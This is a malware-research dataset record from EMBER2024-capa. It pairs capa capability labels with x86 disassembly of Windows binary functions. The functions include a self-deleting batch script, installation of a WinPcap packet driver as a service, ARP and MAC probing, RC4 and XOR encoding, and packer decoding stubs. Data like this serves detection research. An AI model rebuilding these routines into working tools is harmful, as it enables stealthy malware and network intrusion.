joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10009ec0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push 0xffffffffffffffff
push 0x10025828
mov eax, dword fs:[0]
push eax
sub esp, 0x44
mov eax, dword [0x1002d7d8]
xor eax, esp
mov dword [esp + 0x40], eax
push ebp
push esi
push edi
mov eax, dword [0x1002d7d8]
xor eax, esp
push eax
lea eax, [esp + 0x54]
mov dword fs:[0], eax
mov eax, dword [esp + 0x64]
mov edx, dword [esp + 0x80]
mov edi, dword [esp + 0x7c]
mov dword [esp + 0x28], eax
lea eax, [esp + 0x2c]
mov esi, ecx
mov ecx, dword [esp + 0x78]
push eax
mov dword [esp + 0x24], edi
mov dword [esp + 0x20], edx
mov dword [esp + 0x14], 0
call fcn.10001190
push eax
push 0x800
lea ecx, [esp + 0x78]
push ecx
lea edx, [esp + 0x74]
push edx
lea eax, [esp + 0x40]
push eax
push esi
mov dword [esp + 0x74], 0
call fcn.10007380
mov ebp, eax
mov eax, dword [esp + 0x44]
add esp, 0x18
mov dword [esp + 0x5c], 0xffffffff
test eax, eax
je 0x10009f9f
push 0
lea ecx, [esp + 0x18]
mov edi, eax
call fcn.1001ed00
mov eax, dword [edi + 4]
test eax, eax
jbe 0x10009f79
cmp eax, 0xffffffff
jae 0x10009f79
dec eax
mov dword [edi + 4], eax
mov esi, dword [edi + 4]
neg esi
sbb esi, esi
not esi
lea ecx, [esp + 0x14]
and esi, edi
call fcn.1000f167
test esi, esi
je 0x10009f9b
mov edx, dword [esi]
mov eax, dword [edx]
push 1
mov ecx, esi
call eax
mov edi, dword [esp + 0x20]
lea ecx, [esp + 0x10]
push ecx
push ebp
lea edx, [esp + 0x20]
push edx
lea eax, [esp + 0x3c]
push eax
call fcn.1001ed00
mov edx, dword [esp + 0x78]
add esp, 0x10
cmp byte [esp + 0x6c], 0
mov esi, eax
mov dword [esp + 0x24], 0
jne 0x1000a00a
test edx, edx
je 0x10009fff
mov eax, dword [edx + 0x20]
cmp dword [eax], 0
je 0x10009fe7
mov ecx, dword [edx + 0x30]
cmp dword [ecx], 0
jle 0x10009fe7
mov eax, dword [eax]
movzx eax, byte [eax]
jmp 0x10009ff4
mov eax, dword [edx]
mov ecx, edx
mov edx, dword [eax + 0x10]
call edx
mov edx, dword [esp + 0x68]
cmp eax, 0xffffffff
je 0x10009fff
mov byte [esp + 0x6d], al
jmp 0x1000a005
xor edx, edx
mov dword [esp + 0x68], edx
mov byte [esp + 0x6c], 1
cmp byte [esp + 0x74], 0
mov ecx, dword [esp + 0x70]
jne 0x1000a047
test ecx, ecx
je 0x1000a045
mov eax, dword [ecx + 0x20]
cmp dword [eax], 0
je 0x1000a031
mov ebp, dword [ecx + 0x30]
cmp dword [ebp], 0
jle 0x1000a031
mov eax, dword [eax]
movzx eax, byte [eax]
jmp 0x1000a040
mov edx, dword [ecx]
mov eax, dword [edx + 0x10]
call eax
mov ecx, dword [esp + 0x70]
mov edx, dword [esp + 0x68]
cmp eax, 0xffffffff
jne 0x1000a047
xor ecx, ecx
test edx, edx
jne 0x1000a051
test ecx, ecx
je 0x1000a055
jmp 0x1000a058
test ecx, ecx
je 0x1000a058
or dword [edi], 1
lea ecx, [esp + 0x30]
cmp dword [esp + 0x18], ecx
je 0x1000a071
cmp dword [esp + 0x10], 0
jne 0x1000a071
mov eax, dword [esp + 0x1c]
mov dword [eax], esi
jmp 0x1000a074
or dword [edi], 2
mov eax, dword [esp + 0x28]
mov ecx, dword [esp + 0x6c]
mov dword [eax], edx
mov dword [eax + 4], ecx
mov ecx, dword [esp + 0x54]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
mov ecx, dword [esp + 0x40]
xor ecx, esp
call fcn.10011cf3
add esp, 0x50
ret 0x20
Function at 0x401000
Capabilities:
Get common file path
Get disk information

Disassembly:
sub esp, 0x108
push edi
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 9]
mov byte [esp + 8], 0
push 0x104
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0xc]
mov dword [esp + 8], 0
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push 0
push 0
push 0
lea ecx, [esp + 0x10]
push 0
push ecx
push 0
lea edx, [esp + 0x20]
push 0
push edx
mov byte [esp + 0x2b], 0
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
mov eax, dword [esp + 4]
pop edi
add esp, 0x108
ret

Function at 0x401070
Capabilities:
Get mac address on windows

Disassembly:
mov eax, 0x2804
call fcn.004080d0
push ebx
push ebp
mov ebp, dword [esp + 0x2810]
push esi
lea eax, [esp + 0xc]
push edi
lea ecx, [esp + 0x14]
push eax
push ecx
mov dword [ebp], 0
mov dword [esp + 0x18], 0x2800
call sub.iphlpapi.dll_GetAdaptersInfo
test eax, eax
jne 0x4010ff
lea ebx, [esp + 0x14]
mov ecx, 3
mov edi, ebp
lea esi, [ebx + 0x194]
xor edx, edx
repe cmpsw word [esi], word es:[edi]
je 0x4010d1
lea eax, [ebx + 0x1d8]
push eax
call dword [sym.imp.WS2_32.dll_inet_addr]
cmp eax, 0xffffffff
jne 0x4010d9
mov ebx, dword [ebx]
test ebx, ebx
je 0x4010ff
jmp 0x4010ab
lea ecx, [ebx + 0x194]
mov edx, dword [ebx + 0x194]
mov dword [ebp], edx
mov edx, dword [esp + 0x281c]
mov ax, word [ecx + 4]
mov word [ebp + 4], ax
mov ecx, dword [ebx + 0x1a4]
mov dword [edx], ecx
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x2804
ret
Function at 0x401190
Capabilities:
Create process on windows
Get common file path

Disassembly:
sub esp, 0x270
mov ecx, dword [0x41604c]
mov eax, dword [str.msvcrt.bat]
mov dword [esp + 4], ecx
xor ecx, ecx
mov dword [esp + 0xb], ecx
mov dword [esp], eax
mov al, byte [0x416052]
push ebx
mov dword [esp + 0x13], ecx
push esi
push edi
mov byte [esp + 0x16], al
mov byte [esp + 0x1f], cl
xor ebx, ebx
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x179]
mov byte [esp + 0x178], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov dx, word [0x416050]
mov ecx, 0x40
stosb byte es:[edi], al
xor eax, eax
lea edi, [esp + 0x75]
mov byte [esp + 0x74], bl
mov word [esp + 0x14], dx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea edx, [esp + 0x178]
push 0x104
push edx
push ebx
stosb byte es:[edi], al
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [esp + 0x74]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea ecx, [esp + 0xc]
lea edx, [esp + 0x74]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [esp + 0x74]
push 0x416044
push eax
call dword [sym.imp.MSVCRT.dll_fopen]
mov esi, eax
add esp, 8
cmp esi, ebx
jne 0x40125b
pop edi
pop esi
mov eax, 1
pop ebx
add esp, 0x270
ret
lea ecx, [esp + 0x74]
lea edx, [esp + 0x178]
push ecx
lea eax, [esp + 0x17c]
push edx
push eax
push str.:L1_r_ndel___s__r_nif_exist___s__goto_L1_r_ndel___s__r_n
push esi
call dword [sym.imp.MSVCRT.dll_fprintf]
push esi
call dword [sym.imp.MSVCRT.dll_fclose]
mov ecx, 0x10
xor eax, eax
lea edi, [esp + 0x4c]
mov dword [esp + 0x48], 0x44
add esp, 0x18
lea edx, [esp + 0x20]
rep stosd dword es:[edi], eax
xor ecx, ecx
lea eax, [esp + 0x30]
push edx
mov dword [esp + 0x28], ecx
push eax
push ebx
mov dword [esp + 0x34], ecx
push ebx
push ebx
mov dword [esp + 0x40], ecx
push ebx
push ebx
lea ecx, [esp + 0x90]
push ebx
push ecx
push ebx
mov dword [esp + 0x48], ebx
mov dword [esp + 0x84], 1
mov word [esp + 0x88], bx
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x270
ret
Function at 0x4012f0
Capabilities:
Initialize winsock library

Disassembly:
sub esp, 0x194
push edi
mov ecx, 0x63
xor eax, eax
lea edi, [esp + 0xa]
mov word [esp + 8], 0
push str.WinMain
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov dword [esp + 8], 0
call fcn.004013f0
add esp, 4
call dword [sym.imp.MSVCRT.dll___p___argc]
cmp dword [eax], 4
jl 0x4013db
lea eax, [esp + 8]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
push 0x65
push 0x66
call fcn.004025d0
lea ecx, [esp + 0xc]
push ecx
call fcn.00402820
add esp, 0xc
mov dword [0x418878], eax
test eax, eax
jne 0x40136d
push str.wpcap_adapter_open___failed_r_n
call fcn.004013f0
add esp, 4
mov edi, dword [sym.imp.WS2_32.dll_inet_addr]
push ebx
push esi
push str.6.6.6.6
call edi
mov esi, dword [sym.imp.MSVCRT.dll___p___argv]
mov dword [0x41887c], eax
call esi
mov edx, dword [eax]
mov ebx, dword [sym.imp.MSVCRT.dll_atoi]
mov eax, dword [edx + 0xc]
push eax
call ebx
add esp, 4
push eax
call esi
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
push edx
call ebx
add esp, 4
push eax
call esi
mov eax, dword [eax]
mov ecx, dword [eax + 4]
push ecx
call edi
push eax
call fcn.004014e0
mov eax, dword [0x418878]
add esp, 0xc
test eax, eax
pop esi
pop ebx
je 0x4013d0
push eax
call fcn.00402a00
add esp, 4
call dword [sym.imp.WS2_32.dll_WSACleanup]
call fcn.00401190
xor eax, eax
pop edi
add esp, 0x194
ret 0x10

Function at 0x4013f0
Capabilities:
Get common file path

Disassembly:
sub esp, 0x608
push esi
push edi
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 9]
mov byte [esp + 8], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x10d]
mov byte [esp + 0x10c], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov al, byte [0x418880]
mov ecx, 0xff
mov byte [esp + 0x210], al
xor eax, eax
lea edi, [esp + 0x211]
mov edx, dword [esp + 0x614]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea ecx, [esp + 0x618]
stosb byte es:[edi], al
push ecx
push edx
lea eax, [esp + 0x218]
push 0x3ff
push eax
call dword [sym.imp.MSVCRT.dll__vsnprintf]
add esp, 0x10
lea ecx, [esp + 0x10c]
push ecx
push 0x103
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea edx, [esp + 0x10c]
lea eax, [esp + 8]
push edx
push str._sclient.log
push 0x103
push eax
call dword [sym.imp.MSVCRT.dll__snprintf]
lea ecx, [esp + 0x18]
push 0x41608c
push ecx
call dword [sym.imp.MSVCRT.dll_fopen]
mov esi, eax
add esp, 0x18
test esi, esi
je 0x4014d4
lea edx, [esp + 0x210]
push edx
push str._s_r_n
push esi
call dword [sym.imp.MSVCRT.dll_fprintf]
push esi
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 0x10
pop edi
pop esi
add esp, 0x608
ret

Function at 0x401960
Capabilities:
Hash data with md5

Disassembly:
mov eax, dword [esp + 4]
mov dword [eax + 4], 0
mov dword [eax], 0
mov dword [eax + 8], 0x67452301
mov dword [eax + 0xc], 0xefcdab89
mov dword [eax + 0x10], 0x98badcfe
mov dword [eax + 0x14], 0x10325476
ret
Function at 0x402490
Capabilities:
Extract resource via kernel32 functions
Write file on windows

Disassembly:
push ebx
push ebp
push esi
push edi
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov esi, eax
mov eax, dword [esp + 0x14]
and eax, 0xffff
push 0x409
push eax
push 0x4161e0
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceExA]
mov edi, eax
test edi, edi
je 0x402548
push edi
push esi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push edi
push esi
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x402548
test ebx, ebx
je 0x402548
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
test eax, eax
mov dword [esp + 0x14], eax
je 0x402548
mov ecx, dword [esp + 0x18]
push 0x4161dc
push ecx
xor esi, esi
call dword [sym.imp.MSVCRT.dll_fopen]
mov ebp, eax
add esp, 8
test ebp, ebp
je 0x402548
test ebx, ebx
jbe 0x402537
mov edi, ebx
sub edi, esi
cmp edi, 0x1000
jb 0x40251c
mov edi, 0x1000
mov edx, dword [esp + 0x14]
push ebp
push edi
push 1
lea eax, [esi + edx]
push eax
call dword [sym.imp.MSVCRT.dll_fwrite]
add esi, edi
add esp, 0x10
cmp esi, ebx
jb 0x40250b
push ebp
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
ret
call dword [sym.imp.KERNEL32.dll_GetLastError]
pop edi
pop esi
pop ebp
pop ebx
ret

Function at 0x4025d0
Capabilities:
Check if file exists
Get common file path

Disassembly:
sub esp, 0x214
push ebx
push ebp
push esi
push edi
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x1d]
mov byte [esp + 0x1c], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x121]
mov byte [esp + 0x120], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x120]
xor ebp, ebp
push 0x104
push eax
mov dword [esp + 0x20], ebp
mov dword [esp + 0x18], ebp
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
call fcn.00402560
mov ebx, eax
cmp ebx, 1
jne 0x40266d
mov ecx, dword [esp + 0x22c]
push str.Kernel32.dll
mov dword [esp + 0x18], ecx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, eax
test esi, esi
je 0x402678
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.Wow64DisableWow64FsRedirection
push esi
call edi
push str.Wow64RevertWow64FsRedirection
push esi
mov ebp, eax
call edi
mov dword [esp + 0x18], eax
jmp 0x402678
mov edx, dword [esp + 0x228]
mov dword [esp + 0x14], edx
lea eax, [esp + 0x120]
lea ecx, [esp + 0x1c]
push eax
push str._sdrivers_npf.sys
push ecx
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0xc
test ebx, ebx
je 0x4026a2
test ebp, ebp
je 0x4026a2
lea edx, [esp + 0x10]
push edx
call ebp
lea eax, [esp + 0x1c]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
jne 0x4026c3
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x1c]
push ecx
push edx
call fcn.00402490
add esp, 8
pop edi
pop esi
pop ebp
test ebx, ebx
pop ebx
je 0x4026da
mov eax, dword [esp + 8]
test eax, eax
je 0x4026da
mov ecx, dword [esp]
push ecx
call eax
add esp, 0x214
ret
Function at 0x402a80
Capabilities:
Get mac address on windows
Initialize winsock library

Disassembly:
sub esp, 0x1a4
push ebx
push esi
push edi
xor ebx, ebx
mov ecx, 0x63
xor eax, eax
lea edi, [esp + 0x22]
mov word [esp + 0x20], bx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [esp + 0x20]
mov dword [esp + 0x14], 0x280
push eax
push 0x202
mov dword [esp + 0x20], ebx
mov dword [esp + 0x24], 0xffffffff
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x402ad4
pop edi
pop esi
or eax, 0xffffffff
pop ebx
add esp, 0x1a4
ret
mov esi, dword [sym.imp.KERNEL32.dll_LocalAlloc]
push 0x280
push 0x40
call esi
mov edi, eax
cmp edi, ebx
mov dword [esp + 0x10], edi
jne 0x402afa
pop edi
pop esi
or eax, 0xffffffff
pop ebx
add esp, 0x1a4
ret
lea ecx, [esp + 0x14]
push ebp
push ecx
push edi
call sub.iphlpapi.dll_GetAdaptersInfo
cmp eax, 0x6f
jne 0x402b40
push edi
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov edx, dword [esp + 0x18]
push edx
push 0x40
call esi
cmp eax, ebx
mov dword [esp + 0x14], eax
je 0x402c27
lea ecx, [esp + 0x18]
push ecx
push eax
call sub.iphlpapi.dll_GetAdaptersInfo
mov edi, dword [esp + 0x14]
test eax, eax
jne 0x402c20
jmp 0x402b48
cmp eax, ebx
jne 0x402c20
mov ebx, dword [sym.imp.WS2_32.dll_inet_addr]
mov dword [esp + 0x10], edi
mov edi, dword [esp + 0x1b8]
mov edx, dword [esp + 0x10]
mov dword [esp + 0x1c], 6
lea ebp, [edx + 0x1ac]
test ebp, ebp
je 0x402bc2
lea eax, [ebp + 4]
push eax
call ebx
mov ecx, dword [esp + 0x10]
mov dword [edi], eax
lea esi, [ecx + 0x1d4]
test esi, esi
je 0x402bbb
lea edx, [esi + 4]
push edx
call ebx
mov ecx, dword [esp + 0x1c4]
lea edx, [esp + 0x1c]
push edx
mov dword [ecx], eax
mov ecx, dword [esp + 0x1cc]
mov edx, dword [edi]
push ecx
push edx
push eax
call sub.iphlpapi.dll_SendARP
test eax, eax
jne 0x402bb5
cmp dword [esp + 0x1c], 6
je 0x402bd2
mov esi, dword [esi]
test esi, esi
jne 0x402b85
mov ebp, dword [ebp]
test ebp, ebp
jne 0x402b6f
mov eax, dword [esp + 0x10]
mov eax, dword [eax]
test eax, eax
mov dword [esp + 0x10], eax
je 0x402c1c
jmp 0x402b59
mov edx, dword [esp + 0x10]
or ecx, 0xffffffff
xor eax, eax
mov dword [esp + 0x20], 0
lea edi, [edx + 8]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, dword [esp + 0x1bc]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
add edx, 0x194
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [esp + 0x1c0]
mov eax, dword [edx]
mov dword [ecx], eax
mov dx, word [edx + 4]
mov word [ecx + 4], dx
mov edi, dword [esp + 0x14]
push edi
call dword [sym.imp.KERNEL32.dll_LocalFree]
call dword [sym.imp.WS2_32.dll_WSACleanup]
mov eax, dword [esp + 0x20]
pop ebp
pop edi
pop esi
pop ebx
add esp, 0x1a4
ret
Function at 0x402c40
Capabilities:
Encode data using xor
Encrypt data using rc4 ksa
Encrypt data using rc4 prga

Disassembly:
sub esp, 0x100
mov al, byte [0x418880]
push ebp
push edi
mov byte [esp + 8], al
mov ecx, 0x3f
xor eax, eax
lea edi, [esp + 9]
mov ebp, dword [esp + 0x114]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
test ebp, ebp
stosb byte es:[edi], al
je 0x402d45
mov eax, dword [esp + 0x118]
test eax, eax
jle 0x402d45
xor ecx, ecx
lea eax, [esp + 9]
cmp ecx, 0xff
jge 0x402ca8
mov dl, al
lea ecx, [esp + 8]
sub dl, cl
lea ecx, [esp + 8]
mov byte [eax], dl
mov edx, eax
sub edx, ecx
inc eax
cmp edx, 0xff
jl 0x402c8d
push ebx
push esi
xor esi, esi
xor edi, edi
xor ecx, ecx
mov eax, ecx
mov bl, byte [esp + ecx + 0x10]
cdq
idiv dword [esp + 0x120]
add esi, ebx
mov dl, byte [edx + ebp]
add edx, esi
and edx, 0xff
inc ecx
mov esi, edx
cmp ecx, 0x100
mov al, byte [esp + esi + 0x10]
mov byte [esp + esi + 0x10], bl
mov byte [esp + ecx + 0xf], al
jl 0x402cb0
mov edx, dword [esp + 0x118]
xor esi, esi
xor eax, eax
test edx, edx
jle 0x402d38
mov ebp, dword [esp + 0x114]
inc edi
and edi, 0xff
mov cl, byte [esp + edi + 0x10]
mov bl, cl
add ebx, esi
and ebx, 0xff
mov esi, ebx
mov bl, byte [esp + esi + 0x10]
mov byte [esp + edi + 0x10], bl
mov byte [esp + esi + 0x10], cl
mov bl, byte [esp + edi + 0x10]
add ebx, ecx
and ebx, 0xff
mov cl, byte [esp + ebx + 0x10]
mov bl, byte [eax + ebp]
xor bl, cl
mov byte [eax + ebp], bl
inc eax
cmp eax, edx
jl 0x402cf8
pop esi
pop ebx
pop edi
xor eax, eax
pop ebp
add esp, 0x100
ret
pop edi
or eax, 0xffffffff
pop ebp
add esp, 0x100
ret
Function at 0x4035a0
Capabilities:
Encode data using xor

Disassembly:
mov eax, 0x2130
call fcn.004080d0
push ebx
push ebp
mov ebx, ecx
push edi
mov ecx, 0x3f
xor eax, eax
lea edi, [esp + 0x1d]
mov byte [esp + 0x1c], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
xor edx, edx
mov ecx, 0x402
xor eax, eax
lea edi, [esp + 0x1130]
mov dword [esp + 0x112c], edx
mov dword [esp + 0x11c], edx
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
mov ecx, 0x402
xor eax, eax
lea edi, [esp + 0x120]
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
xor ecx, ecx
mov al, cl
mov dl, 0x1b
imul dl
xor al, 0x7d
mov byte [esp + ecx + 0xc], al
inc ecx
cmp ecx, 0x10
jb 0x4035f8
lea eax, [esp + 0x11c]
push 0x78
push eax
mov ecx, ebx
call fcn.004034a0
test eax, eax
jne 0x403713
mov eax, dword [esp + 0x120]
test eax, eax
jne 0x403713
mov eax, dword [esp + 0x11c]
cmp eax, 0x32
jb 0x403713
mov ecx, eax
push esi
mov edx, ecx
lea esi, [esp + 0x12c]
lea edi, [esp + 0x20]
push 0x10
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea edx, [esp + 0x24]
and ecx, 3
mov ebp, eax
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x14]
mov dword [esp + 0x1138], 0
push ecx
push eax
push edx
mov dword [esp + 0x1140], eax
call fcn.00402c40
mov ecx, ebp
lea esi, [esp + 0x30]
mov eax, ecx
lea edi, [esp + 0x114c]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
add esp, 0x10
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x1130]
push 0x78
push ecx
mov ecx, ebx
call fcn.00403430
test eax, eax
pop esi
jne 0x403713
lea edx, [esp + 0x11c]
push 0x78
push edx
mov ecx, ebx
call fcn.004034a0
test eax, eax
jne 0x403713
mov eax, dword [esp + 0x120]
test eax, eax
jne 0x403713
cmp dword [esp + 0x11c], ebp
jne 0x403713
xor eax, eax
test ebp, ebp
jle 0x403707
mov bl, byte [esp + eax + 0x128]
mov dl, byte [esp + eax + 0x1c]
xor bl, 0x5d
mov cl, bl
mov byte [esp + eax + 0x128], bl
cmp cl, dl
jne 0x403713
inc eax
cmp eax, ebp
jl 0x4036e7
pop edi
pop ebp
xor eax, eax
pop ebx
add esp, 0x2130
ret
pop edi
pop ebp
or eax, 0xffffffff
pop ebx
add esp, 0x2130
ret

Function at 0x403a10
Capabilities:
Check if file exists

Disassembly:
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 0
push 0x100
mov esi, eax
push 0x418900
push 0
push esi
push 0
push 0x1000
call dword [sym.imp.KERNEL32.dll_FormatMessageA]
mov edi, 0x418900
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
cmp ecx, 2
jl 0x403a56
mov byte [ecx + 0x4188ff], al
mov byte [ecx + 0x4188fe], al
push 0
push 0x418900
call dword [sym.imp.MSVCRT.dll_strchr]
mov ecx, 0x418a01
push esi
sub ecx, eax
push str.___lu_
push ecx
push eax
call dword [sym.imp.MSVCRT.dll__snprintf]
add esp, 0x18
mov eax, 0x418900
pop edi
pop esi
ret

Function at 0x4043e0
Capabilities:
Initialize winsock library

Disassembly:
sub esp, 0x190
lea eax, [esp]
push eax
push 0x101
call dword [sym.imp.WS2_32.dll_WSAStartup]
neg eax
sbb eax, eax
add esp, 0x190
ret
Function at 0x406410
Capabilities:
Create service

Disassembly:
sub esp, 0x600
mov eax, dword [0x41851c]
push ebx
push ebp
push esi
push edi
mov dword [esp + 0x410], eax
mov ecx, 0x7f
xor eax, eax
lea edi, [esp + 0x414]
mov esi, str.WinPcap_Packet_Driver__NPF_
rep stosd dword es:[edi], eax
mov ecx, 7
lea edi, [esp + 0x10]
rep movsd dword es:[edi], dword [esi]
mov ecx, 0x79
lea edi, [esp + 0x2c]
rep stosd dword es:[edi], eax
mov ecx, 6
mov esi, str.system32driversNPF.sys
lea edi, [esp + 0x210]
xor ebp, ebp
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
mov ecx, 0x79
lea edi, [esp + 0x229]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push 0xf003f
push ebp
push ebp
xor bl, bl
stosb byte es:[edi], al
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov esi, eax
test esi, esi
jne 0x40649a
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x600
ret
push 0
push 0
push 0
push 0
lea ecx, [esp + 0x220]
push 0
push ecx
push 1
push 3
push 1
lea edx, [esp + 0x34]
push 0xf01ff
lea eax, [esp + 0x438]
push edx
push eax
push esi
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
mov edi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
test eax, eax
jne 0x4064eb
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ebp, eax
cmp ebp, 0x431
jne 0x4064f0
xor ebp, ebp
mov bl, 1
jmp 0x4064f0
push eax
mov bl, 1
call edi
push esi
call edi
push ebp
call dword [sym.imp.KERNEL32.dll_SetLastError]
pop edi
pop esi
mov al, bl
pop ebp
pop ebx
add esp, 0x600
ret
Function at 0x406a70
Capabilities:
Read file on windows

Disassembly:
push esi
mov esi, dword [esp + 8]
mov eax, dword [esi + 0x160]
test eax, eax
jne 0x406ab6
mov eax, dword [esi + 0x4c]
cmp eax, 0xffffffff
je 0x406a99
test eax, eax
jne 0x406a8e
or eax, 0xffffffff
push eax
mov eax, dword [esi + 0x48]
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword [esp + 0xc]
push 0
mov edx, dword [eax + 0x1c]
lea ecx, [eax + 0x20]
mov eax, dword [eax + 0x18]
push ecx
mov ecx, dword [esi]
push edx
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_ReadFile]
pop esi
ret
xor al, al
pop esi
ret
Function at 0x433005
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
mov eax, section..text
nop
nop
mov ebx, 0x40de38
nop
mov ecx, 0x66526ae4
nop
nop
test eax, eax
nop
nop
je 0x43304e
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x433024
nop
nop
mov eax, section..data
nop
mov ebx, 0x4304d8
nop
mov ecx, 0x101d642d
nop
nop
nop
test eax, eax
nop
nop
nop
je 0x433084
nop
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
add eax, 4
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x43306c
nop
nop
nop
nop
nop
nop
nop
popal
jmp 0x431219

Function at 0x7ead8c
Capabilities:
Encode data using xor

Disassembly:
jmp 0x7ead96
pushal
call 0x7ead9c
pop ebp
sub ebp, 0x10
sub ebp, 0x3ead8c
mov al, byte [esp + 0x28]
cmp al, 1
je 0x7eadc0
popal
xor eax, eax
inc eax
ret 0xc
jmp 0x7eadc9
mov eax, 0x3ead8c
add eax, ebp
add eax, 0x63
mov ecx, 0x606
mov edx, 0xa3065fbf
xor byte [eax], dl
inc eax
dec ecx
jne 0x7eade0
jmp 0x7eadf3
xor al, 0x72
xor al, 0x36
cmp dword [edi + 0x7e3ebfbf], 0x47
mov edi, 0x72bcbfbf
pop es
mov ebp, 0x5bfbfbf
xchg edi, eax
mov edi, 0x5d48bfbf
mov esp, 0xb33e3477
mov edi, 0x7abcbfbf
xor bl, bl
wait
inc ebx
mov ebx, 0x9bdb329b
inc ebx
mov ebx, 0xc40fd79b
mov cl, 0xbf
xlatb
arpl word [esi - 0x6c414071], cx
wait
xlatb
push eax
insb byte es:[edi], dx
cwde
jae 0x7eae91
mov edx, 0x56bfbfbf
mov dword [edi - 0x24cd4041], edi
wait
inc ebx
xchg ebx, eax
wait
xor dl, bl
wait
mov edi, 0xbfb73a34
mov edi, 0xb32a34bf
mov edi, 0x3234bfbf
scasd eax, dword es:[edi]
mov edi, 0x567ebfbf
mov ebp, 0x7d3cbd8e
mov ebx, 0x4b3ab0f6
inc eax
inc eax
inc eax
xor al, 0x93
wait
xor bl, bl
wait
mov ebx, 0x34bfb37d
xor ebx, dword [ebx - 0x40404045]
xlatb
pinsrw mm6, word [ecx - 0x719c2841], 0x8f
mov edi, 0x329b93be
fistp dword [ebx - 0x644cc9bd]
mov bl, 0x9b
push edi
mov edx, 0x56bfbfbf
cli
mov ebp, 0xebeabfbf
loop 0x7eaee2
retf 0x40b3
mov al, 0x3b
scasb al, byte es:[edi]
mov edi, 0x3ed9bfbf
inc esp
inc eax
lcall 0xbfbf, 0xbfaa3bb0
invalid